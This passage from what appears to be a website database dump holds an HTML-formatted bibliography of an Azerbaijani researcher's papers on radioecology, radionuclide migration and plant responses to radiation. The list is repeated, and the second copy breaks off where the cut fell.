2012</p>\r\n<p>M.A.Abdullayev. <strong>S.R.Xudaverdiyeva</strong>\r\nvə b. İmişli&nbsp;&nbsp; rayon torpaqlarında təbii\r\nvə süni radionuklidlərin miqrasiyası. Nüvə enerjisinin&nbsp; dinc məqsədlərlə istifadəsi perspektivləri.\r\nIV Beynəlxalq konfrans, Bakı, 2011, s.109</p>\r\n<p>Məmmədov&nbsp; Ə.Ç.,&nbsp; <strong>Xudaverdiyeva\r\nS.R.</strong> və b.&nbsp; Xroniki&nbsp; qamma&nbsp;\r\nşüalanmaya məruz qalmış Scirpus Lacustris&nbsp; və Foeniculum Vulgare&nbsp;&nbsp; bitkilərində&nbsp;\r\nDNT strukturunda,&nbsp; gecikmiş&nbsp; fluoressensiya parametrlərində&nbsp;&nbsp; və&nbsp; sərbəst&nbsp; radikal&nbsp;\r\nproseslərində baş&nbsp;&nbsp; verən&nbsp; dəyişikliklər. АМЕА&nbsp; Xəbərləri,&nbsp;\r\nBiologiya elmləri seriyası, 2010, № 3-4&nbsp;\r\n</p>\r\n<p><strong>Xudaverdiyeva S.R.</strong>, Əliyev E.Ş. və b.&nbsp;\r\nƏtraf mühitin ağır metallarla çirklənməsində mikroyosunlar vasitəsilə\r\nbiotestləşdirmə. “Nüvə enerjisinin dinc məqsədlərlə istifadəsi perspektivləri”\r\nBeynəlxalq konfransın materialları, 2010, s.131</p>\r\n<p>R.I.Khalilov, <strong>S.R.Khudaverdieva.</strong> The Use of EPR\r\nSpectra and PCR patterns of plants in bioindication of radioactive\r\ncontamination.&nbsp; 2nd International\r\nBiophysics Congress and Biotechnology at GAP and the 21st National Biophysics\r\nCongress, Turkey,&nbsp;\r\nwww.ibc2009.org/oral.pdf, 2009&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </p>\r\n<p>R.I.Khalilov, <strong>S.R.Khudaverdiyeva</strong> and et al.&nbsp; Application of model systems in\r\nnananobiotechnology safety. ”Nüvə enerjisinin dinc məqsədlərlə istifadəsi\r\nperspektivləri” Beynəlxalq elmi konfransın materialları, Bakı, 2009&nbsp;&nbsp;&nbsp; </p>\r\n<p>R.C.Qasımov, İ.Y.Firudinbəyov,\r\n<strong>S.R.Xudaverdiyeva</strong> və b.&nbsp; Radioaktiv çirklənmiş ərazilərdən götürülmüş\r\nbitki nümunələrinin EPR tədqiqatları. Bakı Dövlət Universitetinin 90 illik\r\nyubileyinə həsr olunmuş “Biologiyada elmi nailiyyətlər” mövzusunda Respublika\r\nElmi Konfransının materialları, 2009, s.311</p>\r\n<p>Qəribov A.A., <strong>XudaverdiyevaS.R.</strong> və b. Abşeron\r\nyarımadasının şimal-qərb hissəsi təbii mühitinin radioekoloji tədqiqatları.\r\nAMEA Xəbərləri, biologiya elmləri seriyası, 2008, № 1-2,&nbsp; s. 152-158</p>\r\n<p><strong>Khudaverdieva\r\nS.R.,</strong> Mirzoev Sh.A. and et al.&nbsp;\r\nSystems of bioindication in monitoring at pollution of environment with\r\nthe natural radionuclides. The fifth Eurasian conference and its application.\r\nAnkara, 2008&nbsp;&nbsp; </p>\r\n<p>L.Ə.Əliyev, A.N.Səmədov,\r\nR.C.Qasımov, <strong>S.R.Xudaverdiyeva </strong>və b.\r\nSumqayıtın ətraf mühitində ağır metal təbiətli ksenobiotiklər&nbsp; “Abşeron yarımadasının radioekoloji durumuna\r\nneft-qaz istehsalının təsiri” Respublika elmi konfransının materialları, 2007,\r\ns.93</p>\r\n<p><strong>Xudaverdiyeva\r\nS.R.</strong>,\r\nXəlilov R.İ. Radioekoloji gərginlik zonasında bitkilərdə fəallaşan daxili\r\nmüdafiə mexanizmləri.&nbsp;  “Ekologiya: təbiət\r\nvə cəmiyyət problemləri” Beynəlxalq konfransının materialları, BDU, 2007, s.356</p>\r\n<p><br></p>\r\n<p>Garibov A.A., <strong>Khudaverdieva S.R</strong>. and et al.&nbsp; Research of radiation condition and\r\necological monitoring&nbsp; of the\r\nradionuclide contents in the natural environment on southeast approach of the\r\nSumgait city. Materials of International Symposium “Natural cataclysms and\r\nglobal&nbsp; problems of the modern\r\ncivilization”, 2007, p.576-579</p>\r\n<p>R.I. Khalilov, <strong>S.R.Khudaverdieva </strong>and et al. The adaptive answers of\r\nplants to the influence of small doses radiation factors. Science without\r\nborders. Transactions of the International Academy of Science H&amp;E.,\r\nInnsbruck.&nbsp; 2005/2006, V.3,&nbsp;&nbsp;&nbsp; p.167-175</p>\r\n<p>Р.И.Халилов, <strong>С.Р.Худавердиева</strong><strong>.</strong>Роль\r\nфотодыхания в повышении устойчивости растений к действию УФ-В радиации и\r\nповышенного&nbsp;&nbsp; радиационного фона. Mатериалы международной конференции&nbsp; “PhotosynthesisinthePostGenomicEra: StructureandFunctionof&nbsp; Photosystems”, Москва, 2006,&nbsp;&nbsp;&nbsp;&nbsp; с. 248</p>\r\n<p>Халилов Р.И., <strong>Худавердиева С.Р.</strong>Роль\r\nхинонов мембран растительных клеток при УФ облучении . Материалы\r\nмеждународной научной конференции «Молекулярные, мембранные и клеточные основы\r\nфункционирования биосистем», Минск,&nbsp;&nbsp; 2006, с. 316-318</p>\r\n<p>Халилов Р.И., <strong>Худавердиева С.Р</strong>.\r\nи др. Изучение влияния повышенного естественного радиационного фона на ядерную\r\nДНК видов A.pseudoalhagi, E.angustifolia, Zygophyllum с применением специфичных\r\nSTR –праймеров микросателлитных локусов AG -110. Материалы\r\nV съезда по радиационным исследованиям, Москва,&nbsp;&nbsp;&nbsp; 2006, с.77&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\n</p>\r\n<p>Халилов Р.И., <strong>Худавердиева С.Р. </strong>и\r\nдр.&nbsp;&nbsp;&nbsp;&nbsp; Изучение начальных ростовых\r\nпроцессов у растений, произрастающих в условиях повышенного естественного&nbsp; радиационного фона. Материалы\r\nМежд. Конф. «Биологические эффекты малых доз ионизирующей&nbsp; радиации и&nbsp;&nbsp;\r\nрадиоактивных&nbsp; загрязнений среды»,\r\nСыктывкар, 2006,\r\nс.129-130</p>\r\n<p><br></p>\r\n<p>Курбанов&nbsp; М.Р.,&nbsp; <strong>Худавердиева&nbsp; С.Р.</strong> Влияние повышенного гамма\r\nрадиационного&nbsp; фона&nbsp; на всхожесть семян видов A. pseudoalhagi, E.\r\nangustifolia,&nbsp; Zygophyllum и некоторых\r\nдругих растений Материалы Международной&nbsp;&nbsp;\r\nконференции «Биологические эффекты малых доз ионизирующей радиации и\r\nрадиоактивных загрязнений среды», Сыктывкар, 2006,&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; с.101-102</p>\r\n<p><strong>Худавердиева С.Р.</strong>, Алиев Л.А.и др.&nbsp; Роль\r\nактивных форм кислорода в возникновении генетических повреждений. &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Материалы III&nbsp; Международного\r\nСимпозиума «Прогнозирование, предотвращение и ликвидация последствий катастроф\r\nи роль терроризма в чрезвычайных ситуациях», Баку, 2005, с.147-150</p>\r\n<p>Khalilov&nbsp; R.I.,&nbsp; <strong>Khudaverdieva S.R. </strong>and et al. The general kinetic laws of\r\nphoto induced oxidation-reduction transformations of carriers of chloroplasts\r\nelectronic transport chain. 8<sup>th</sup>&nbsp;\r\nBaku Int. Congress “Energy, Ecology, Economy”, Baku, 2005,&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; p.\r\n550-552</p>\r\n<p><strong>Khudaverdieva\r\nS.R.</strong>\r\nResearches of some adaptive answers of plants to influence of&nbsp; radiating&nbsp;\r\nfactors&nbsp; at&nbsp; various levels of the structural\r\norganization. 8<sup>th</sup>&nbsp; Baku\r\nInternational Congress “Energy, Ecology, Economy”, Baku, 2005,&nbsp;&nbsp; p.481-483</p>\r\n<p><strong>Худавердиева С.Р.</strong>,&nbsp; Курбанов М.Р.и др. &nbsp;ПЦР-исследования&nbsp;\r\nядерной&nbsp; ДНК&nbsp; некоторых&nbsp;\r\nрастений, хронически облученных малыми дозами ионизирующей радиации . Докл.\r\nАН&nbsp; Азербайджана, Сер. Биофизика, 2005&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; №2,&nbsp;&nbsp;\r\nс.92-102.</p>\r\n<p>Khalilov R.I., <strong>Khudaverdieva S.R.</strong>&nbsp; Photorespiration and its role in protection\r\nfrom stresses.&nbsp;&nbsp;&nbsp; 8<sup>th</sup> Baku\r\nInternational&nbsp; Congress “Energy,\r\nEcology,&nbsp; Economy”, Baku, 2005, p.415-423</p>\r\n<p><strong>Khudaverdieva S.R.</strong>, Aliev L.A. and et al. EPR Researches of light\r\ninduced oxidation-reduction transformations of UV-B irradia-ted plant’s P700\r\nFS1 paramagnetic centers.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 8<sup>th</sup>&nbsp; Baku International Congress “Energy,\r\nEcology,&nbsp; Economy”,&nbsp; Baku, 2005, p.312-315</p>\r\n<p><strong>Худавердиева С.Р.</strong>Применение\r\nПЦР в изучении генетических эффектов радиации. Материалы Республиканской Научной Конференции\r\n«Экспериментальная биология и современность». 2005, с. 143-145</p>\r\n<p>Халилов Р.И., <strong>Худавердиева С.Р.</strong>Фотодыхание\r\n– главная ответная&nbsp; реакция растений кдействию\r\nэкологического УФ излучения.\r\nМатериалы Республиканской Научной Конференции\r\n«Экспериментальная биология и современность». 2005, с.\r\n118-120</p>\r\n<p><strong>Худавердиева С.Р.</strong>, Алиев Л.А. и др.Исследование кинетики\r\nокислительно-восстановительных превращений Р700<sup>+</sup> в листьях высших\r\nрастений при УФ-В облучении&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; XVIII\r\nПущинские чтения по фотосинтезу и Всероссийская&nbsp;\r\nконференция «Преобразование энергии света при фотосинтезе» Тезисы\r\nдокладов, Москва&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 2005, с.64-65</p>\r\n<p>Л.А.Алиев, А.Н.Самедов, <strong>С.Р.Худавердиева</strong>&nbsp; и др.Исследование кинетики\r\nсигнала ЭПР1 бобовых растений, подвергнутых воздействию эксимерного лазера. Известия\r\nНАН Азербайджана, серия биол.науки, 2005, №3-4,\r\nс.161-166</p>\r\n<p>Халилов Р.И., <strong>Худавердиева С.Р. </strong>и\r\nдр.Математическое моделирование в ЭПР исследованиях\r\nвоздействия экологического УФ излучения на фотосинтез Материалы Международной\r\nконференции «Применение информациионно-коммуникационных технологий в науке и\r\nобразовании», Баку,\r\n2004,\r\nс.192-193</p>\r\n<p><strong>Худавердиева С.Р.</strong>, Алиев Л.А. и др.Изучение эффектов\r\nхронического облучения малыми дозами гамма радиации на растениях. Тезисы\r\nдокладов Научно-практической конференции «Парадигмы современной радиобиологии.\r\nРадиационная защита персонала объектов атомной энергетики» материалы\r\nнаучно-практической конференции, Киев, Чернобыль, 2004, с.64</p>\r\n<p><strong>Худавердиева С.Р.</strong>, Л.А.Алиев и др.Растительный покров\r\nучастков с повышенным радиационным фоном на Апшеронском полуострове . Известия\r\nНАН Азербайджана, Биол. Науки,\r\n2004,&nbsp;&nbsp;&nbsp;&nbsp; №3-4, с.177-182</p>\r\n<p><strong>Худавердиева С.Р.</strong>, Алиев Л.А. и др.Влияние малых доз\r\nрадиации на биоморфологические особенности растений. Доклады\r\nНАН Азербайджана, Серия Экология, 2003, LIX,\r\n5-6,&nbsp;&nbsp; с. 227-239</p>\r\n<p><strong>Худавердиева С.Р.</strong>, Алиев Л.А.Особенности миграции радионуклидов . Материалы\r\nнаучно-практической конференции «Оценка природных ресурсов и\r\nприродопользование», Баку,&nbsp; 2003, с.\r\n406-409</p>\r\n<p><strong>Худавердиева С.Р.</strong>, Алиев Л.А. и др.Радиоэкологические\r\nусловия и особенности развития растений в лабораторных условиях. Материалы\r\nнаучной конференции «Перспективы развития экспериментальной биологии», Баку, 2002&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; с.139-141</p>\r\n<p><strong>Худавердиева С.Р.</strong>, Алиев Л.А. и др.Особенности устойчивости\r\nрастений в условиях повышенной фоновой радиации. Материалы\r\nнаучной конференции «Перспективы развития экспериментальной биологии», Баку, 2002, с.141-142</p>\r\n<p>Kurbanov M.R., <strong>Khudaverdieva S.R. </strong><strong>and\r\net al. </strong>Antropogenical and natural radioactive pollution of\r\nApsheron’s environment . Материалы\r\nXI Международного Симпозиума «Нетрадиционное растениеводство. Эниология.\r\nЭкология и здоровье», Симферополь, г.Алушта, 2002 , с.124-126</p>\r\n<p><strong>Худавердиева С.Р.</strong>, Алиев Л.А. &nbsp;Особенности адаптации многолетних растений в\r\nусловиях повышенного радиационного фона.&nbsp; Материалы\r\nII научной конференции «Охрана жизнедеятельности», Сумгаит, 1999,&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; с.150-151</p>\r\n<p><strong>Худавердиева С.Р.</strong><strong></strong>К вопросу о естественном радиационном фоне и безопасности\r\nжизни людей. Материалы научной конференции Совета молодых ученых\r\nНационального научно-исследовательского Института Медицинской Профилактики,\r\nБаку,&nbsp;&nbsp;&nbsp; 1998, с.46-48</p>\r\n<p>А.Н.Самедов, <strong>С.Р.Худавердиева</strong>\r\nи др.&nbsp; Разработка иммуноферментных тестов\r\nдля диагностики фитопатагенов винограда. Az EA-nın biologiya elmləri şöbəsi ,\r\nİkinci respublika biokimya Konfransı, Bakı “Bilik”, 1993, səh 162</p>\r\n<p>A.N. Səmədov, <strong>S.R.Xudaverdiyeva</strong>\r\nvə b.&nbsp; Üzümün bakterial xəstəliklərini müəyyən\r\netmək üçün immunodiaqnostik test sistemin yaradılması. AMEA-nın xəbərləri.\r\nBiologiya elmləri seriyası, 1993№.1-3,&nbsp;&nbsp;\r\nsəh. 14-18</p>  <br></div>'),(826,563,'az','Səadət Xudaverdiyeva','Səadət Xudaverdiyeva','<div><br></div><div><p>M.A.Abdullayev, <strong>S.R.Khudaverdiyeva</strong> Distribution and\r\nmigration of natural and artificial radionuclides in biogeocenoses of Absheron.\r\nJournal of Radiation Research, v.2, No 2, 2015,p.32 -40, Baku</p>\r\n<p>Гарибов А.А., Абдуллаев М.А., <strong>Худавердиева\r\nС.Р. </strong>Радиоэкологические особенности биогеоценозов Апшеронского полуострова\r\n(на примере Сабунчинского района г.Баку). Материалы III Международной научно-практической конференции в рамках\r\nфорума «Безопасность и связь». Часть III. Казань, 2014. Стр. 618-625.</p>\r\n<p>Абдуллаев М.А., Самедов А.Н., <strong>Худавердиева\r\nС.Р.</strong> Естественные и искусственные радионуклиды в биогеоценозах Апшеронского\r\nполуострова (на примере Сабунчинского района г.Баку) . Сборник научных трудов\r\nМеждународной Научно-практической Конференции «Экологическое состояние\r\nприродной среды и научно-практические аспекты современных мелиоративных\r\nтехнологий», Рязань, 2012, c.343-347</p>\r\n<p>Абдуллаев М.А., <strong>Худавердиева С.Р.</strong>\r\nvə b. Поведение&nbsp; естественных и\r\nискусственных радионуклидов в почвах Имишлинского района&nbsp; Кура-Араксинкой низменности Азербайджана. II\r\nМеждународная научно-практическая конференция&nbsp;\r\n«Современные проблемы безопасности жизнедеятельности: теория и практика»\r\nКазань, 2012, c.6-13</p>\r\n<p>Абдуллаев М.А., <strong>Худавердиева С.Р.</strong>,&nbsp; Нагиев Дж.А., Асадова И.Б. Миграция\r\nестественных и искусственных радионуклидов в почвах Кура-Араксинской\r\nнизменности Азербайджана (на примере Саатлинского района). Сборник трудов&nbsp; Международной конференция\r\n\"Радиоэкологические и экологические исследования\", Тбилиси,&nbsp;&nbsp; 2012</p>\r\n<p>M.A.Abdullayev. <strong>S.R.Xudaverdiyeva</strong>\r\nvə b. İmişli&nbsp;&nbsp; rayon torpaqlarında təbii\r\nvə süni radionuklidlərin miqrasiyası. Nüvə enerjisinin&nbsp; dinc məqsədlərlə istifadəsi perspektivləri.\r\nIV Beynəlxalq konfrans, Bakı, 2011, s.109</p>\r\n<p>Məmmədov&nbsp; Ə.Ç.,&nbsp; <strong>Xudaverdiyeva\r\nS.R.</strong> və b.&nbsp; Xroniki&nbsp; qamma&nbsp;\r\nşüalanmaya məruz qalmış Scirpus Lacustris&nbsp; və Foeniculum Vulgare&nbsp;&nbsp; bitkilərində&nbsp;\r\nDNT strukturunda,&nbsp; gecikmiş&nbsp; fluoressensiya parametrlərində&nbsp;&nbsp; və&nbsp; sərbəst&nbsp; radikal&nbsp;\r\nproseslərində baş&nbsp;&nbsp; verən&nbsp; dəyişikliklər. АМЕА&nbsp; Xəbərləri,&nbsp;\r\nBiologiya elmləri seriyası, 2010, № 3-4&nbsp;\r\n</p>\r\n<p><strong>Xudaverdiyeva S.R.</strong>, Əliyev E.Ş. və b.&nbsp;\r\nƏtraf mühitin ağır metallarla çirklənməsində mikroyosunlar vasitəsilə\r\nbiotestləşdirmə. “Nüvə enerjisinin dinc məqsədlərlə istifadəsi perspektivləri”\r\nBeynəlxalq konfransın materialları, 2010, s.131</p>\r\n<p>R.I.Khalilov, <strong>S.R.Khudaverdieva.</strong> The Use of EPR\r\nSpectra and PCR patterns of plants in bioindication of radioactive\r\ncontamination.&nbsp; 2nd International\r\nBiophysics Congress and Biotechnology at GAP and the 21st National Biophysics\r\nCongress, Turkey,&nbsp;\r\nwww.ibc2009.org/oral.pdf, 2009&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </p>\r\n<p>R.I.Khalilov, <strong>S.R.Khudaverdiyeva</strong> and et al.&nbsp; Application of model systems in\r\nnananobiotechnology safety. ”Nüvə enerjisinin dinc məqsədlərlə istifadəsi\r\nperspektivləri” Beynəlxalq elmi konfransın materialları, Bakı, 2009&nbsp;&nbsp;&nbsp; </p>\r\n<p>R.C.Qasımov, İ.Y.Firudinbəyov,\r\n<strong>S.R.Xudaverdiyeva</strong> və b.&nbsp; Radioaktiv çirklənmiş ərazilərdən götürülmüş\r\nbitki nümunələrinin EPR tədqiqatları. Bakı Dövlət Universitetinin 90 illik\r\nyubileyinə həsr olunmuş “Biologiyada elmi nailiyyətlər” mövzusunda Respublika\r\nElmi Konfransının materialları, 2009, s.311</p>\r\n<p>Qəribov A.A., <strong>XudaverdiyevaS.R.</strong> və b. Abşeron\r\nyarımadasının şimal-qərb hissəsi təbii mühitinin radioekoloji tədqiqatları.\r\nAMEA Xəbərləri, biologiya elmləri seriyası, 2008, № 1-2,&nbsp; s. 152-158</p>\r\n<p><strong>Khudaverdieva\r\nS.R.,</strong> Mirzoev Sh.A. and et al.&nbsp;\r\nSystems of bioindication in monitoring at pollution of environment with\r\nthe natural radionuclides. The fifth Eurasian conference and its application.\r\nAnkara, 2008&nbsp;&nbsp; </p>\r\n<p>L.Ə.Əliyev, A.N.Səmədov,\r\nR.C.Qasımov, <strong>S.R.Xudaverdiyeva </strong>və b.\r\nSumqayıtın ətraf mühitində ağır metal təbiətli ksenobiotiklər&nbsp; “Abşeron yarımadasının radioekoloji durumuna\r\nneft-qaz istehsalının təsiri” Respublika elmi konfransının materialları, 2007,\r\ns.93</p>\r\n<p><strong>Xudaverdiyeva\r\nS.R.</strong>,\r\nXəlilov R.İ. Radioekoloji gərginlik zonasında bitkilərdə fəallaşan daxili\r\nmüdafiə mexanizmləri.&nbsp;  “Ekologiya: təbiət\r\nvə cəmiyyət problemləri” Beynəlxalq konfransının materialları, BDU, 2007, s.356</p>\r\n<p>&nbsp;</p>\r\n<p>Garibov A.A., <strong>Khudaverdieva S.R</strong>. and et al.&nbsp; Research of radiation condition and\r\necological monitoring&nbsp; of the\r\nradionuclide contents in the natural environment on southeast approach of the\r\nSumgait city. Materials of International Symposium “Natural cataclysms and\r\nglobal&nbsp; problems of the modern\r\ncivilization”, 2007, p.576-579</p>\r\n<p>R.I. Khalilov, <strong>S.R.Khudaverdieva </strong>and et al. The adaptive answers of\r\nplants to the influence of small doses radiation factors. Science without\r\nborders. Transactions of the International Academy of Science H&amp;E.,\r\nInnsbruck.&nbsp; 2005/2006, V.3,&nbsp;&nbsp;&nbsp; p.167-175</p>\r\n<p>Р.И.Халилов, <strong>С.Р.Худавердиева</strong><strong>.</strong>Роль\r\nфотодыхания в повышении устойчивости растений к действию УФ-В радиации и\r\nповышенного&nbsp;&nbsp; радиационного фона. Mатериалы международной конференции&nbsp; “PhotosynthesisinthePostGenomicEra: StructureandFunctionof&nbsp; Photosystems”, Москва, 2006,&nbsp;&nbsp;&nbsp;&nbsp; с. 248</p>\r\n<p>Халилов Р.И., <strong>Худавердиева С.Р.</strong>Роль\r\nхинонов мембран растительных клеток при УФ облучении . Материалы\r\nмеждународной научной конференции «Молекулярные, мембранные и клеточные основы\r\nфункционирования биосистем», Минск,&nbsp;&nbsp; 2006, с. 316-318</p>\r\n<p>Халилов Р.И., <strong>Худавердиева С.Р</strong>.\r\nи др. Изучение влияния повышенного естественного радиационного фона на ядерную\r\nДНК видов A.pseudoalhagi, E.angustifolia, Zygophyllum с применением специфичных\r\nSTR –праймеров микросателлитных локусов AG -110. Материалы\r\nV съезда по радиационным исследованиям, Москва,&nbsp;&nbsp;&nbsp; 2006, с.77&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\n</p>\r\n<p>Халилов Р.И., <strong>Худавердиева С.Р. </strong>и\r\nдр.&nbsp;&nbsp;&nbsp;&nbsp; Изучение начальных ростовых\r\nпроцессов у растений, произрастающих в условиях повышенного естественного&nbsp; радиационного фона. Материалы\r\nМежд. Конф. «Биологические эффекты малых доз ионизирующей&nbsp; радиации и&nbsp;&nbsp;\r\nрадиоактивных&nbsp; загрязнений среды»,\r\nСыктывкар, 2006,\r\nс.129-130</p>\r\n<p>&nbsp;</p>\r\n<p>Курбанов&nbsp; М.Р.,&nbsp; <strong>Худавердиева&nbsp; С.Р.</strong> Влияние повышенного гамма\r\nрадиационного&nbsp; фона&nbsp; на всхожесть семян видов A. pseudoalhagi, E.\r\nangustifolia,&nbsp; Zygophyllum и некоторых\r\nдругих растений Материалы Международной&nbsp;&nbsp;\r\nконференции «Биологические эффекты малых доз ионизирующей радиации и\r\nрадиоактивных загрязнений среды», Сыктывкар, 2006,&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; с.101-102</p>\r\n<p><strong>Худавердиева С.Р.</strong>, Алиев Л.А.и др.&nbsp; Роль\r\nактивных форм кислорода в возникновении генетических повреждений. &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Материалы III&nbsp; Международного\r\nСимпозиума «Прогнозирование, предотвращение и ликвидация последствий катастроф\r\nи роль терроризма в чрезвычайных ситуациях», Баку, 2005, с.147-150</p>\r\n<p>Khalilov&nbsp; R.I.,&nbsp; <strong>Khudaverdieva S.R. </strong>and et al. The general kinetic laws of\r\nphoto induced oxidation-reduction transformations of carriers of chloroplasts\r\nelectronic transport chain. 8<sup>th</sup>&nbsp;\r\nBaku Int. Congress “Energy, Ecology, Economy”, Baku, 2005,&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; p.\r\n550-552</p>\r\n<p><strong>Khudaverdieva\r\nS.R.</strong>\r\nResearches of some adaptive answers of plants to influence of&nbsp; radiating&nbsp;\r\nfactors&nbsp; at&nbsp; various levels of the structural\r\norganization. 8<sup>th</sup>&nbsp; Baku\r\nInternational Congress “Energy, Ecology, Economy”, Baku, 2005,&nbsp;&nbsp; p.481-483</p>\r\n<p><strong>Худавердиева С.Р.</strong>,&nbsp; Курбанов М.Р.и др. &nbsp;ПЦР-исследования&nbsp;\r\nядерной&nbsp; ДНК&nbsp; некоторых&nbsp;\r\nрастений, хронически облученных малыми дозами ионизирующей радиации . Докл.\r\nАН&nbsp; Азербайджана, Сер. Биофизика, 2005&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; №2,&nbsp;&nbsp;\r\nс.92-102.</p>\r\n<p>Khalilov R.I., <strong>Khudaverdieva S.R.</strong>&nbsp; Photorespiration and its role in protection\r\nfrom stresses.&nbsp;&nbsp;&nbsp; 8<sup>th</sup> Baku\r\nInternational&nbsp; Congress “Energy,\r\nEcology,&nbsp; Economy”, Baku, 2005, p.415-423</p>\r\n<p><strong>Khudaverdieva S.R.</strong>, Aliev L.A. and et al. EPR Researches of light\r\ninduced oxidation-reduction transformations of UV-B irradia-ted plant’s P700\r\nFS1 paramagnetic centers.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 8<sup>th</sup>&nbsp; Baku International Congress “Energy,\r\nEcology,&nbsp; Economy”,&nbsp; Baku, 2005, p.312-315</p>\r\n<p><strong>Худавердиева С.Р.</strong>Применение\r\nПЦР в изучении генетических эффектов радиации. Материалы Республиканской Научной Конференции\r\n«Экспериментальная биология и современность». 2005, с. 143-145</p>\r\n<p>Халилов Р.И., <strong>Худавердиева С.Р.</strong>Фотодыхание\r\n– главная ответная&nbsp; реакция растений кдействию\r\nэкологического УФ излучения.\r\nМатериалы Республиканской Научной Конференции\r\n«Экспериментальная биология и современность». 2005, с.\r\n118-120</p>\r\n<p><strong>Худавердиева С.Р.</strong>, Алиев Л.А. и др.Исследование кинетики\r\nокислительно-восстановительных превращений Р700<sup>+</sup> в листьях высших\r\nрастений при УФ-В облучении&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; XVIII\r\nПущинские чтения по фотосинтезу и Всероссийская&nbsp;\r\nконференция «Преобразование энергии света при фотосинтезе» Тезисы\r\nдокладов, Москва&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 2005, с.64-65</p>\r\n<p>Л.А.Алиев, А.Н.Самедов, <strong>С.Р.Худавердиева</strong>&nbsp; и др.Исследование кинетики\r\nсигнала ЭПР1 бобовых растений, подвергнутых воздействию эксимерного лазера. Известия\r\nНАН Азербайджана, серия биол.науки, 2005, №3-4,\r\nс.161-166</p>\r\n<p>Халилов Р.И., <strong>Худавердиева С.Р. </strong>и\r\nдр.Математическое моделирование в ЭПР исследованиях\r\nвоздействия экологического УФ излучения на фотосинтез Материалы Международной\r\nконференции «Применение информациионно-коммуникационных технологий в науке и\r\nобразовании», Баку,\r\n2004,\r\nс.192-193</p>\r\n<p><strong>Худавердиева С.Р.</strong>, Алиев Л.А. и др.Изучение эффектов\r\nхронического облучения малыми дозами гамма радиации на растениях. Тезисы\r\nдокладов Научно-практической конференции «Парадигмы современной радиобиологии.\r\nРадиационная защита персонала объектов атомной энергетики» материалы\r\nнаучно-практической конференции, Киев, Чернобыль, 2004, с.64</p>\r\n<p><strong>Худавердиева С.Р.</strong>, Л.А.Алиев и др.Растительный покров\r\nучастков с повышенным радиационным фоном на Апшеронском полуострове . Известия\r\nНАН Азербайджана, Биол. Науки,\r\n2004,&nbsp;&nbsp;&nbsp;&nbsp; №3-4, с.177-182</p>\r\n<p><strong>Худавердиева С.Р.</strong>, Алиев Л.А. и др.Влияние малых доз\r\nрадиации на биоморфологические особенности растений. Доклады\r\nНАН Азербайджана, Серия Экология, 2003, LIX,\r\n5-6,&nbsp;&nbsp; с. 227-239</p>\r\n<p><strong>Худавердиева С.Р.</strong>, Алиев Л.А.Особенности миграции радионуклидов . Материалы\r\nнаучно-практической конференции «Оценка природных ресурсов и\r\nприродопользование», Баку,&nbsp; 2003, с.\r\n406-409</p>\r\n<p><strong>Худавердиева С.Р.</strong>, Алиев Л.А. и др.Радиоэкологические\r\nусловия и особенности развития растений в лабораторных условиях. Материалы\r\nнаучной конференции «Перспективы развития экспериментальной биологии», Баку, 2002&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; с.139-141</p>\r\n<p><strong>Худавердиева С.Р.</strong>, Алиев Л.А. и др.Особенности устойчивости\r\nрастений в условиях повышенной фоновой радиации. Материалы\r\nнаучной конференции «Перспективы развития экспериментальной биологии», Баку, 2002, с.141-142</p>\r\n<p>Kurbanov M.R., <strong>Khudaverdieva S.R. </strong><strong>and\r\net al. </strong>Antropogenical and natural radioactive pollution of\r\nApsheron’s environment . Материалы\r\nXI Международного Симпозиума «Нетрадиционное растениеводство. Эниология.\r\nЭкология и здоровье», Симферополь, г.Алушта, 2002 , с.124-126</p>\r\n<p><strong>Худавердиева С.Р.</strong>, Алиев Л.А. &nbsp;Особенности адаптации многолетних растений в\r\nусловиях повышенного радиационного фона.&nbsp; Материалы\r\nII научной конференции «Охрана жизнедеятельности», Сумгаит, 1999,&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 